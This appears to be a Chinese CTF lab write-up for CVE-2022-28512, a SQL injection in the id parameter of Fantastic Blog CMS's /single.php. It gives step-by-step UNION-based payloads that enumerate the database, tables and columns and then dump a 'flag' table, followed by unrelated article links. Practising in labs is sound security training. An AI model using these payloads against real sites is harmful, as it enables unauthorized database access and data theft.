春秋云境——CVE-2022-28512

靶标介绍:

Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。

1. 初始访问测试

正常请求文章接口,页面正常返回文章内容:

?id=5

2. 注入类型判断

尝试单引号闭合测试,页面报错/内容异常,证明参数被单引号包裹,为字符型注入,而非初始判断的数字型注入。

3. 查询字段数探测(Order By)

通过 order by 逐级猜测查询字段数量,最终确认该查询语句共 9个字段,只有字段数量一致,联合查询才能正常执行。

4. 显式回显位探测

使用负数id闭合,规避原有文章数据干扰,探测页面回显位置:

复制代码
?id=-5' union select 1,2,3,4,5,6,7,8,9--+

测试得出页面可正常回显查询数据,具备Union联合查询条件。

5. 查询当前数据库名

将 database() 放置回显位,获取当前网站数据库名称:

复制代码
?id=-5' union select 1,2,3,database(),5,6,7,8,9--+

6. 爆表名(当前数据库所有数据表)

使用 group_concat() 函数解决页面Limit单行限制,一次性拼接输出所有表名,避免数据截断遗漏:

如果出现多行只显示一张表(limit 限制)

使用 group_concat() 拼接所有表,一次性全部输出

复制代码
?id=-5' union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--+

7. 爆列名(查询数据表字段)

以核心用户表flag,

复制代码
?id=-5' union select 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag'--+

8.读取flag专属表数据

复制代码
?id=-5' union select 1,group_concat(flag),3,4,5,6,7,8,9 from flag--+
相关推荐
yu_zhidun几秒前
从需求到落地:一套可执行的数据防泄密系统方案设计思路 | 数据防泄密系统安全厂商
安全·系统安全·域智盾
EnCi Zheng1 分钟前
AI Agent工具误调用怎么解决-从参数校验到高危二次确认的四层工程防线
大数据·数据库·人工智能
泡海椒19 分钟前
JQuick-SQL 逻辑数据仓库:以注册数据集构建轻量分析层
数据库·数据仓库·sql
vortex525 分钟前
IoT 安全剖析:从消费级摄像头到车联网的攻击面全景
物联网·struts·安全
ZhengEnCi37 分钟前
把 AI 接口稳定接进业务:超时重试、密钥隔离与成本熔断实战
安全·架构·ai编程
l1t39 分钟前
DeepSeek辅助编写连接sqlite的CLI
数据库·golang·sqlite
翔云12345641 分钟前
Gaea中配置如何更新
运维·数据库·mysql
特视界说44 分钟前
多规格产品动画怎么规划?把“一个型号一条片”改成可管理的内容架构
人工智能·安全·微信·新浪微博
指剑1 小时前
亚麻云之EC2——安全组与密钥对:SSH 端口怎么开才安全,Permission denied (publickey) 和连接超时排查
java·安全·ssh
泡海椒2 小时前
JQuick-SQL JQuickTable 模型:XML 动态 SQL 的表封装边界
xml·数据库·sql